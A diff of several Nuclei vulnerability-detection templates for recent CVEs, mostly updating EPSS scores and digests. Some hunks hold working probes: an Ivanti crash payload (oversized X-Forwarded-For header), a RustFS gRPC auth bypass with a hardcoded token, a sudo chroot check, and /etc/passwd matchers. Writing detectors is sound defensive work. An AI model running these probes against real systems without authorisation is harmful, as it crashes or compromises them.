-# digest: 4a0a00473045022016c705c07fbf287d0261364ce07893714576bc3922535383464461edb5c58887022100b4274975cba44af9d2ba8b497af9fb684d35efa858aa866d4aa462872386c253:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100909ec94556f8b16006475d760a1911e4a59beaec4a369f95fc71646b6c5567ad02205284d000fddabfb0eb4d3e53c789faa351c731ea5b3d2a7cca511d89992eda52:922c64590222798bb761d5b6d8e72950
@@ -6,10 +6,6 @@ info:
  severity: critical
  description: |
    A critical vulnerability has been discovered in Privileged Remote Access (PRA) and Remote Support (RS) products which can allow an unauthenticated attacker to inject commands that are run as a site user.
-  remediation: |
-    Apply the security patches provided by BeyondTrust for Privileged Remote Access and Remote Support products and restrict network access to trusted sources.
-  impact: |
-    Attackers can execute arbitrary commands as a site user, potentially leading to full system compromise or data breach.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12356
  classification:
@@ -17,8 +13,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-12356
    cwe-id: CWE-77
-    epss-score: 0.87991
-    epss-percentile: 0.99752
+    epss-score: 0.93687
+    epss-percentile: 0.99832
    cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
  metadata:
    vendor: beyondtrust
@@ -41,4 +37,4 @@ code:
        words:
          - "0 success"
          - "1 try again later"
-# digest: 490a00463044022052f6baf386645767e202486771c214322549f06d94a2386cba85c5332c4933b40220758d62c618b3b0ac34d3cfdd1964d6b613d8c5d5590bbe276a52de05fbe38218:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402203d3277e020269d68bc7d538db1582bcc38a518efac4aa57697c30a93f828480502201fbb50e3cd29574a62e3d81ce632e07c322ee30feaa1a14eda3a4ec028a4cf53:922c64590222798bb761d5b6d8e72950
@@ -6,8 +6,6 @@ info:
  severity: critical
  description: |
    The Zabbix server can execute commands for configured scripts. After executing a command, an audit entry is added to the "Audit Log". Due to the "clientip" field not being sanitized, it is possible to inject SQL into "clientip" and exploit a time-based blind SQL injection vulnerability.
-  impact: |
-    Attackers can inject SQL, leading to data disclosure, data tampering, or remote code execution.
  remediation: |
    Fixed in versions 6.0.28rc1, 6.4.13rc1, 7.0.0beta2
  reference:
@@ -21,8 +19,8 @@ info:
    cvss-score: 9.1
    cve-id: CVE-2024-22120
    cwe-id: CWE-20
-    epss-score: 0.76618
-    epss-percentile: 0.99502
+    epss-score: 0.93259
+    epss-percentile: 0.99791
  metadata:
    max-request: 1
    vendor: zabbix
@@ -73,4 +71,4 @@ code:
      - type: word
        words:
          - "Vulnerable to CVE-2024-22120"
-# digest: 4a0a00473045022100e35c019c0ff19840e342ce7711e8db551b029b2d7083bab9841ee3d1b500818202205d4ce932e59fb934c776768820aa7739063e5732af1e794b790cf0b821b4ae66:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f252e3b49ae5db52b7618d5c2654208aae47358ef7dfec34ac50e4281eebd4c60220695276f5ed29947a82f3afa67e1066d5cb2e66272589168d633e2f54898866c5:922c64590222798bb761d5b6d8e72950
@@ -6,10 +6,6 @@ info:
  severity: critical
  description: |
    Malicious code was discovered in the upstream tarballs of xz, starting with version 5.6.0. Through a series of complex obfuscations, the liblzma build process extracts a prebuilt object file from a disguised test file existing in the source code, which is then used to modify specific functions in the liblzma code. This results in a modified liblzma library that can be used by any software linked against this library, intercepting and modifying the data interaction with this library.
-  remediation: |
-    Downgrade XZ Utils to version 5.4.x or earlier that does not contain the malicious backdoor code.
-  impact: |
-    Attackers can intercept and modify data processed by liblzma, leading to data tampering and potential data integrity breaches.
  reference:
    - https://www.openwall.com/lists/oss-security/2024/03/29/4
    - https://access.redhat.com/security/cve/CVE-2024-3094
@@ -21,8 +17,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2024-3094
    cwe-id: CWE-506
-    epss-score: 0.85974
-    epss-percentile: 0.99711
+    epss-score: 0.85778
+    epss-percentile: 0.99331
    cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -63,4 +59,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 490a00463044022029f94750d4ad5923285560ea95c719fcb766a9376de8673400b8fb0c617f1e1a022038ae4926adfb121e6a40271a8727611597bbda2381551a02eac18c9510ae0f5e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c10d938a67c70489ce2f679b3c1edca76f59c9b76b8a14973cbcae39272043880220412432fb30cc1ab6715bbd68ddd11c36c56c55e2ad736a047b6c25ea8368eeef:922c64590222798bb761d5b6d8e72950
@@ -6,16 +6,12 @@ info:
  severity: high
  description: |
    Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.
-  impact: |
-    Attackers can cause denial of service by sending heavily nested lists to sqlparse.parse(), triggering RecursionError and making the application unresponsive.
-  remediation: |
-    Upgrade sqlparse to a version later than the affected releases that implements recursion depth limits.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2024-4340
-    epss-score: 0.03237
-    epss-percentile: 0.87215
+    epss-score: 0.16207
+    epss-percentile: 0.94547
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
  tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
@@ -33,4 +29,4 @@ code:
        part: stderr
        words:
          - "RecursionError: maximum recursion depth exceeded"
-# digest: 4a0a00473045022100eb2c51a852a80e69871517426714070c596d3c067090b58b1535d906736e866002204343cf7dfea49e29c952841e8e6f424c9674edf126c197f80862638de95784a0:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c7f17dda36dcd616b5419e65c76face4811aeaabe0f0c266184084bf4f740213022100c459e7c71c25eaa6857cdb4049688a744fb1bea9c6a1ce5d606876a43856b116:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-45409
    cwe-id: CWE-347
-    epss-score: 0.10684
-    epss-percentile: 0.9542
+    epss-score: 0.39163
+    epss-percentile: 0.97104
  metadata:
    verified: true
    shodan-query: http.title:"GitLab"
@@ -123,4 +123,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 4a0a00473045022100c4212190fa2ba9e3d48ffe3552375a9e933cd65b2d3d6a11e29e52511eb4e76302204cd5d9cc5d14118985fa9fba30c217e6fc8daec6f455316b0c3f50e567511b0b:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206573dca524aa5cb319dd62380214248d589aa9ea1c2d02f5083ca86e42f3c1160220179f3510f9283e936ad657ac7fe721c1529a1ccf0837bcaca791b576ba073a05:922c64590222798bb761d5b6d8e72950
@@ -6,8 +6,6 @@ info:
  severity: critical
  description: |
    A missing authentication vulnerability in Fortinet FortiManager allows a remote unauthenticated attacker to execute arbitrary code or commands via specially crafted requests to the fgfmd daemon. This vulnerability affects FortiManager versions 7.6.0, 7.4.0 through 7.4.4, 7.2.0 through 7.2.7, 7.0.0 through 7.0.12, 6.4.0 through 6.4.14, 6.2.0 through 6.2.12, and all versions of 6.0.
-  impact: |
-    Unauthenticated attackers can execute arbitrary code or commands through specially crafted requests to the fgfmd daemon, achieving complete FortiManager server compromise.
  remediation: |
    Update FortiManager to version 7.6.1 or later, 7.4.5 or later, 7.2.8 or later, 7.0.13 or later, or 6.4.15 or later.
  reference:
@@ -19,9 +17,9 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-47575
    cwe-id: CWE-306
-    epss-score: 0.9495
-    epss-percentile: 0.99855
-    cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
+    epss-score: 0.93865
+    epss-percentile: 0.99858
+    cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*
  tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev

 variables:
@@ -147,4 +145,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 490a0046304402203f16e17ffb4e7594918dd40eabc98160acfed21aacbe6e6986aaea5b77c52b8502207a3770de746647287502f6fce6fde96bad37fed5f5a68bd408e23dc473b4eb6c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c88f6d837fa2686dde19f9b77dab6f5c8a5825c0f1d153e6208f489eca85fee002205b6c68ad4e1dc544604ef0122e9575e3dead2b352d5be36d0eb4ebb3a5b87fb2:922c64590222798bb761d5b6d8e72950
@@ -6,8 +6,6 @@ info:
  severity: critical
  description: |
    InvoiceShelf version 1.3.0 and below contains an unauthenticated PHP deserialization vulnerability that can lead to remote code execution. An attacker with knowledge of the APP_KEY can achieve remote command execution on the server through Laravel's cookie deserialization. While the vulnerability is severe, it is partially mitigated in default installations as the APP_KEY is regenerated during setup.
-  impact: |
-    Unauthenticated attackers with knowledge of the APP_KEY can achieve remote code execution through Laravel cookie deserialization on InvoiceShelf servers.
  remediation: |
    Upgrade InvoiceShelf to a version higher than 1.3.0. Ensure your APP_KEY is properly regenerated and not using the default value
  reference:
@@ -19,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-55556
    cwe-id: CWE-502
-    epss-score: 0.44126
-    epss-percentile: 0.98644
+    epss-score: 0.85568
+    epss-percentile: 0.99322
  metadata:
    verified: true
    max-request: 2
@@ -195,4 +193,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 4a0a0047304502204b8c161fa4cfd97ccf574034995fbd1efa676d9d2e1477ac9e3b659f2af519cd022100c4fb96746514777850efeba3f336058014b08e623d22102ba36f02cd1a43d3ea:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b6fcc8dbe04df0c042479292d3bdbb04fa90fbd39956165c29588bfdf9f5fbfe0220042629ab78737bbceb9076d29e82159d1a14929893815826330324270a98465b:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 6.8
    cve-id: CVE-2024-56331
    cwe-id: CWE-22
-    epss-score: 0.01829
-    epss-percentile: 0.77011
+    epss-score: 0.41406
+    epss-percentile: 0.97243
  metadata:
    verified: true
    shodan-query: http.title:"Uptime Kuma"
@@ -124,4 +124,4 @@ code:
      - type: word
        words:
          - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
-# digest: 490a004630440220479d493226699bfb62f355528bdcbace8a698b0b3cb10feb03bb80882e7dbb5902204c4d962d8193e92a47fbd6fbfe1bb0babf5291ab10f0f5459ae13f0d40927cb2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203f480171de008180e091e1c69fb2006c3434e7b60a3094b4caab19c092ba9f2a022100ecc347483a547ca12e83b2813917e34d1d09c2932f96950dbb0d9d29dc19bc19:922c64590222798bb761d5b6d8e72950
@@ -6,16 +6,12 @@ info:
  severity: critical
  description: |
    An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program.
-  impact: |
-    Unauthenticated attackers can bypass SAML SSO authentication through crafted SAML responses, enabling unauthorized user provisioning and instance access on GitHub Enterprise Server.
-  remediation: |
-    Upgrade GitHub Enterprise Server to version 3.11.16, 3.12.10, 3.13.5, or 3.14.2 or later that properly verifies cryptographic signatures.
  reference:
    - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
    - https://github.com/advisories/GHSA-g83h-4727-5rpv
  classification:
-    epss-score: 0.25126
-    epss-percentile: 0.97744
+    epss-score: 0.53044
+    epss-percentile: 0.97826
  metadata:
    verified: true
    shodan-query: title:"GitHub Enterprise"
@@ -192,4 +188,4 @@ http:
      - type: kval
        kval:
          - user_session
-# digest: 4b0a00483046022100c002c7cfa79f000543bd5f985f1d8247583150de771ec272885a7221cbc811cc022100b1eb4d312bce269fd3908890d6944325b8a3dc9661c9b6f72bfe840b36557626:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100aa88f44216574d162c09bcff77b81c0b203d0041324899f1c8d066c81032e45d0220049e79aa14c431d3b4afe4ebcf56cd327f3949c8183bb31b921f0ce9a4026b30:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    - https://github.com/keras-team/keras/pull/20751
    - https://towerofhanoi.it/writeups/cve-2025-1550/
  classification:
-    epss-score: 0.02581
-    epss-percentile: 0.83905
+    epss-score: 0.04785
+    epss-percentile: 0.88996
  metadata:
    max-request: 1
  tags: cve,cve2025,code,keras,rce,ml
@@ -77,4 +77,4 @@ code:
        part: response
        regex:
          - "root:.*:0:0:"
-# digest: 4a0a00473045022100f0e0ef10bd383e79fdea1fafec564304135576a05c7eafa915cd0a4bd79761b7022066f448faf522206c7ed51468021b8a82ebeb1744a7c4a18314c9c85cb641c67e:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202702fa4fb794de06a6a7fb798def00e5e59d05c49c4465820eb9696ce1d7035d022055d99fa4c72b348988ffa7363abadee5549d20fb36240cf9b6ac322211652178:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.0
    cve-id: CVE-2025-22457
    cwe-id: CWE-121,CWE-787
-    epss-score: 0.9999
-    epss-percentile: 0.99985
+    epss-score: 0.76863
+    epss-percentile: 0.98895
    cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
  metadata:
    vendor: ivanti
@@ -37,18 +37,20 @@ variables:
  HOST: "{{Host}}"
  PORT: "{{Port}}"

-flow: http(1) && code(1)
+flow: http () && code()

 http:
  - method: GET
    path:
+      - "{{BaseURL}}"
      - "{{BaseURL}}/dana-na/auth/url_default/welcome.cgi"

+    stop-at-first-match: true
    matchers:
      - type: dsl
        internal: true
        dsl:
-          - 'contains_any(body, "Ivanti Connect Secure", "Pulse Secure", "DSLaunchURL", "dana-na")'
+          - 'contains(body, "Ivanti Connect Secure")'
          - 'status_code == 200'
        condition: and

@@ -61,98 +63,60 @@ code:
      import os
      import time
      import requests
-      import re

-      requests.packages.urllib3.disable_warnings()
-
-      PATHS = [
-          "/dana-na/auth/url_default/welcome.cgi",
-          "/dana-na/setup/psaldownload.cgi",
-      ]
-
-      IVANTI_MARKERS = [
-          "Ivanti Connect Secure",
-          "Pulse Secure",
-          "DSLaunchURL",
-          "welcome.cgi",
-          "dana-na",
-      ]
-
-      TIMEOUT_NORMAL = 5
-      TIMEOUT_PAYLOAD = 10
-
-      def safe_request(method, url, headers=None, timeout=5):
-          try:
-              if method == "GET":
-                  return requests.get(url, headers=headers, timeout=timeout, verify=False)
-              elif method == "POST":
-                  return requests.post(url, headers=headers, timeout=timeout, verify=False)
-          except requests.exceptions.RequestException:
-              return None
+      TARGET_PATH = "/dana-na/auth/url_default/welcome.cgi"
+      TIMEOUT = 10

      class IvantiExploit:
          def __init__(self, host, port):
              self.host = host.rstrip("/")
              self.port = port

-          def build_url(self, path):
+          def check_vuln(self):
              host = self.host
              if not host.startswith("http://") and not host.startswith("https://"):
                  host = f"https://{host}"
-              return f"{host}:{self.port}{path}"

-          def is_ivanti(self, response_text):
-              for marker in IVANTI_MARKERS:
-                  if marker in response_text:
-                      return True
-              return False
+              url = f"{host}:{self.port}{TARGET_PATH}"

-          def check_vuln(self):
-              for path in PATHS:
-                  url = self.build_url(path)
+              print(f"Testing {url}")

-                  # Step 1: Pre-check - must be reachable, return 200, and be Ivanti
-                  r1 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)
-                  if not r1 or r1.status_code != 200:
-                      continue
+              #1  Pre-check: Check if target is reachable and status is 200.
+              try:
+                  r1 = requests.get(url, timeout=TIMEOUT, verify=False)
+              except requests.RequestException:
+                  r1 = None
+              if not r1 or r1.status_code != 200:
+                  print("Pre-check failed because target is not reachable or status is not 200.")
+                  return False

-                  if not self.is_ivanti(r1.text):
-                      print(f"Not an Ivanti target (no Ivanti markers in response). Skipping.")
-                      return False
+              print("Pre-check successful.")

-                  print(f"Ivanti fingerprint confirmed on {url}")
+              #2 Payload: Send POST request with X-Forwarded-For header to test the vulnerability.

-                  # Step 2: Send crash payload - POST with oversized X-Forwarded-For
-                  # A vulnerable server will CRASH (no response / timeout)
-                  # A patched or non-vulnerable server will respond normally
-                  payload_headers = {
-                      "User-Agent": "Mozilla/5.0",
-                      "X-Forwarded-For": "1" * 2048,
-                  }
-                  r2 = safe_request("POST", url, headers=payload_headers, timeout=TIMEOUT_PAYLOAD)
+              payload_header = {"X-Forwarded-For": "1"*2048}
+              try:
+                  r2 = requests.post(url, headers=payload_header, timeout=TIMEOUT, verify=False)
+              except requests.RequestException:
+                  r2 = None
+              if r2:
+                  print("Payload is not working.")
+                  return False
+              else:
+                  print("Payload is working.")
+              time.sleep(1)

-                  if r2 is not None:
-                      # Server responded normally = NOT crashed = NOT vulnerable
-                      print(f"Server responded with HTTP {r2.status_code}. Not vulnerable (no crash).")
-                      continue
+              #3 Follow-up: Check if target is still reachable after payload.

-                  # r2 is None = no response = potential crash
-                  print("No response to payload (potential crash detected). Verifying...")
+              try:
+                  r3 = requests.get(url, timeout=TIMEOUT, verify=False)
+              except requests.RequestException:
+                  r3 = None
+              if r3.status_code == 200:
+                  print(f"VULNERABLE: {self.host}:{self.port}")
+                  return True

-                  # Step 3: Follow-up check - server should recover and return 200
-                  # Ivanti's web process auto-restarts after crash
-                  time.sleep(2)
-                  r3 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)
-
-                  if r3 is not None and r3.status_code == 200:
-                      print(f"VULNERABLE: {self.host}:{self.port}{path}")
-                      return True
-                  else:
-                      status = r3.status_code if r3 else "no response"
-                      print(f"Follow-up returned {status}. Could not confirm crash recovery. Skipping.")
-                      continue
-
-              print("Target appears safe.")
+              print("Target seems safe")
              return False

      if __name__ == "__main__":
@@ -164,4 +128,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 4a0a0047304502201aac858969d2e78b287d4885e0a4b2ba31424b976333c6f9936ae94c9e662e04022100ce5bd7dadc3acfa86919908ceafb84942bf9fc2e43fcc12a26ec1c7af87b4885:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202c5cae79496de4e30915b77c571fa5839b41e803432ca3890748d12311562a0a02206abec4b11a87a39174bfe2672f6fce818e87cc0ef263513d55dee76ebb646a60:922c64590222798bb761d5b6d8e72950
@@ -6,8 +6,6 @@ info:
  severity: critical
  description: |
    ruby-saml provides security assertion markup language (SAML) single sign-on (SSO) for Ruby. An authentication bypass vulnerability was found in ruby-saml prior to versions 1.12.4 and 1.18.0 due to a parser differential. ReXML and Nokogiri parse XML differently; the parsers can generate entirely different document structures from the same XML input. That allows an attacker to be able to execute a Signature Wrapping attack. This issue may lead to authentication bypass. Versions 1.12.4 and 1.18.0 fix the issue.
-  impact: |
-    Unauthenticated attackers can bypass SAML SSO authentication through parser differential exploitation, enabling unauthorized access to GitLab instances without valid credentials.
  remediation: |
    This vulnerability is fixed in 1.17.0 and 1.12.3.
  reference:
@@ -21,8 +19,8 @@ info:
    cvss-score: 9.3
    cve-id: CVE-2025-25291
    cwe-id: CWE-347
-    epss-score: 0.2026
-    epss-percentile: 0.97248
+    epss-score: 0.17247
+    epss-percentile: 0.9476
  metadata:
    verified: true
    vendor: gitlab
@@ -80,4 +78,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 4a0a0047304502202f7640e06f1bc97e46766ffe2bd974af67befe5a7cd997c2dd5c22c8283ee898022100b15650870754db0b63e970c3d21e1606bffba49f1b2d7767a860eb3c72e54239:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d02dbf992fe6c05fc7cf15e6f638957a05b46bdc14421e9a73a277315636e46202206cf9c278e3e4483d0380149c1cd27f04c6fe03d2766f96a6472b7bc2a5a6525f:922c64590222798bb761d5b6d8e72950
@@ -6,8 +6,6 @@ info:
  severity: critical
  description: |
    Erlang/OTP is a set of libraries for the Erlang programming language. Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server may allow an attacker to perform unauthenticated remote code execution (RCE). By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access to affected systems and execute arbitrary commands without valid credentials.
-  impact: |
-    Unauthenticated attackers can execute arbitrary code or commands through specially crafted SSH protocol requests to the fgfmd daemon on Erlang/OTP SSH servers.
  remediation: |
    This issue is patched in versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20. A temporary workaround involves disabling the SSH server or to prevent access via firewall rules.
  reference:
@@ -22,8 +20,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2025-32433
    cwe-id: CWE-306
-    epss-score: 0.98594
-    epss-percentile: 0.99919
+    epss-score: 0.41165
+    epss-percentile: 0.97228
  metadata:
    verified: true
    max-request: 1
@@ -174,4 +172,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4a0a00473045022100d2396660d5bfcb6bd3715a48ad6e9fd5447f98aa44580217005a1e4c9433e16102204754ab761ecbe634551adfa9769137533d1d40200e7c5e38da75b3a63b31c100:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210089db0a1b82c25420d5775a0b8983ab84d65a12197d4a55d699699e6a05981174022100e479f8d8134ea9933fa0d0e6d4da76bd50b2063e65dc7000b468b988e841e42a:922c64590222798bb761d5b6d8e72950
@@ -1,68 +0,0 @@
-id: CVE-2025-32463
-
-info:
-  name: Sudo - Local Privilege Escalation via chroot
-  author: SeungAh-Hong
-  severity: critical
-  description: |
-    Sudo before 1.9.17p1 allows local users to obtain root access by using /etc/nsswitch.conf from a user-controlled directory with the --chroot (-R) option.
-  impact: |
-    A local attacker can escalate privileges to root by placing a crafted nsswitch.conf file and a malicious NSS library in a writable chroot directory, enabling arbitrary code execution with root privileges.
-  remediation: |
-    Upgrade sudo to version 1.9.17p1 or later.
-  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2025-32463
-    - https://www.sudo.ws/security/advisories/chroot_bug/
-    - https://ubuntu.com/security/CVE-2025-32463
-    - https://www.wiz.io/vulnerability-database/cve/cve-2025-32463
-    - https://explore.alas.aws.amazon.com/CVE-2025-32463.html
-  classification:
-    cve-id: CVE-2025-32463
-    epss-score: 0.56337
-    epss-percentile: 0.98969
-    cvss-score: 9.3
-    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
-    cwe-id: CWE-426
-  metadata:
-    verified: true
-  tags: cve,cve2025,sudo,priv-esc,linux,lpe,kev,vkev
-
-self-contained: true
-
-flow: code(1) && code(2)
-
-code:
-  - engine:
-      - sh
-      - bash
-    source: |
-      whoami
-
-    matchers:
-      - type: word
-        part: response
-        words:
-          - "root"
-        negative: true
-        internal: true
-
-  - engine:
-      - sh
-      - bash
-    source: |
-      OUT="$(sudo -n -R woot woot 2>&1 || true)"
-      printf "%s\n" "$OUT"
-
-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: response
-        regex:
-          - '(?i).*woot.*no such file or directory.*'
-
-      - type: dsl
-        dsl:
-          - "!contains(tolower(response), 'password')"
-          - "!contains(tolower(response), 'a password is required')"
-          - "!contains(tolower(response), 'is not in the sudoers file')"
-# digest: 4a0a00473045022100b3f8a2fed1a40f64f311135c4179101deacebeaca2314271348db4ddb8c73a120220390fc6f7c019ef0fbfb35dc88b416e9bfc6213f57d0d7cbd8dae702683e69adb:922c64590222798bb761d5b6d8e72950
@@ -17,10 +17,10 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-54309
-    epss-score: 0.94362
-    epss-percentile: 0.99843
+    epss-score: 0.49642
+    epss-percentile: 0.97665
    cwe-id: CWE-287,CWE-362
-    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*
+    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: crushftp
@@ -200,4 +200,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 4b0a00483046022100f3d8039b805b29336c5b7219d4e281c5088b0c95d122c96a238c01fd75f3328f022100f9b4aff54f367e0d86435747531579bb92979dcc344b0acafd6bc5d1d5af345d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206f8a0decbbd1459c672aa1bb7894d90045fc531da688cee0129b76714fcb72fa022100e3ef9478a6a4129252b8d7232284f9982ea667e6a19e4752529259b47bd482f5:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
  classification:
-    epss-score: 0.34535
-    epss-percentile: 0.98279
+    epss-score: 0.23131
+    epss-percentile: 0.95705
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-6216
@@ -115,4 +115,4 @@ code:
      - type: dsl  # type of the extractor
        dsl:
          - '"Reset URL: " + code_response'
-# digest: 490a0046304402202f3f6e83de9450e0054942319a4f5c55e09ccd2663e928558e86081bb067e5e302205f452d8def682b56b66437244fd71edc027b78889272ccc14b20c5e5cd9a0d3b:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c6bece7478ac45f88871c6cd3f14651af44d06e06535d8508463675cc7866b31022100b19320a88d18c8d48a7ba4b3a4cc01b24c7dda839140e4c790864b4ca94f0a0e:922c64590222798bb761d5b6d8e72950
@@ -1,90 +0,0 @@
-id: CVE-2025-68926
-
-info:
-  name: RustFS < 1.0.0-alpha.77 - Hardcoded gRPC Authentication Token
-  author: Chocapikk,bilisheep
-  severity: critical
-  description: |
-    RustFS before 1.0.0-alpha.77 used a hardcoded gRPC authentication token "rustfs rpc" that could not be changed without recompiling and this allowed unauthenticated remote attackers to gain full administrative access to the gRPC API.
-  impact: |
-    Full administrative access to RustFS including reading, writing, and deleting all stored data.
-  remediation: |
-    Upgrade to RustFS 1.0.0-alpha.77 or later.
-  reference:
-    - https://github.com/rustfs/rustfs/security/advisories/GHSA-h956-rh7x-ppgj
-    - https://nvd.nist.gov/vuln/detail/CVE-2025-68926
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2025-68926
-    epss-score: 0.2903
-    epss-percentile: 0.97999
-    cwe-id: CWE-798
-  metadata:
-    verified: true
-    max-request: 1
-    vendor: rustfs
-    product: rustfs
-  tags: cve,cve2025,rustfs,grpc,auth-bypass,code
-
-variables:
-  HOST: "{{Host}}"
-  PORT: "{{Port}}"
-
-code:
-  - engine:
-      - py
-      - python3
-
-    source: |
-      import socket, os, re
-      from h2.connection import H2Connection
-      from h2.config import H2Configuration
-      from h2.events import DataReceived, TrailersReceived, StreamEnded
-
-      host, port = os.getenv('HOST'), int(os.getenv('PORT'))
-      sock = socket.create_connection((host, port), timeout=10)
-      sock.settimeout(5)
-
-      conn = H2Connection(H2Configuration(client_side=True))
-      conn.initiate_connection()
-      sock.sendall(conn.data_to_send())
-
-      sid = conn.get_next_available_stream_id()
-      hdrs = [(':method','POST'),(':scheme','http'),(':authority',f'{host}:{port}'),
-              (':path','/node_service.NodeService/ServerInfo'),
-              ('content-type','application/grpc'),('authorization','rustfs rpc'),('te','trailers')]
-      conn.send_headers(sid, hdrs, end_stream=False)
-      conn.send_data(sid, b'\x00\x00\x00\x00\x00', end_stream=True)
-      sock.sendall(conn.data_to_send())
-
-      body, status = b'', None
-      while True:
-          data = sock.recv(65535)
-          if not data: break
-          for e in conn.receive_data(data):
-              if isinstance(e, DataReceived):
-                  body += e.data
-                  conn.acknowledge_received_data(e.flow_controlled_length, e.stream_id)
-              elif isinstance(e, TrailersReceived):
-                  status = dict(e.headers).get(b'grpc-status', b'').decode()
-              elif isinstance(e, StreamEnded): break
-          else: sock.sendall(conn.data_to_send()); continue
-          break
-      sock.close()
-
-      if status == '0' and len(body) > 5:
-          m = re.search(rb'(\d+\.\d+\.\d+-alpha\.\d+)', body)
-          print(m.group(1).decode() if m else 'grpc-auth-bypass')
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'contains(response, "alpha") || contains(response, "grpc-auth-bypass")'
-
-    extractors:
-      - type: regex
-        name: version
-        regex:
-          - "(\\d+\\.\\d+\\.\\d+-alpha\\.\\d+|grpc-auth-bypass)"
-# digest: 4a0a00473045022015cbdaff0a72de87b3a5238a9133b95eac29d3445d27d1deb3b696b71739d4540221009846fa120f8cff6e1279f73606d6598fa0047298a7f9f01f29663ac5a6795925:2592222ea8b5b5922b8de61fd7ebe9f8
@@ -1,67 +0,0 @@
-id: CVE-2025-6984
-
-info:
-  name: langchain-ai langchain - XML External Entity Injection
-  author: nukunga
-  severity: high
-  description: |
-    langchain-ai/langchain 0.3.63 contains an XML External Entity (XXE) injection caused by insecure XML parsing in EverNoteLoader using etree.iterparse(), letting attackers disclose sensitive information, exploit requires crafted malicious XML payload.
-  impact: |
-    Attackers can disclose sensitive local files, potentially exposing critical system information.
-  remediation: |
-    Update to the latest version that disables external entity references in XML parsing.
-  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2025-6984
-    - https://huntr.com/bounties/a6b521cf-258c-41c0-9edb-d8ef976abb2a
-    - https://github.com/langchain-ai/langchain-community/commit/e842452
-  classification:
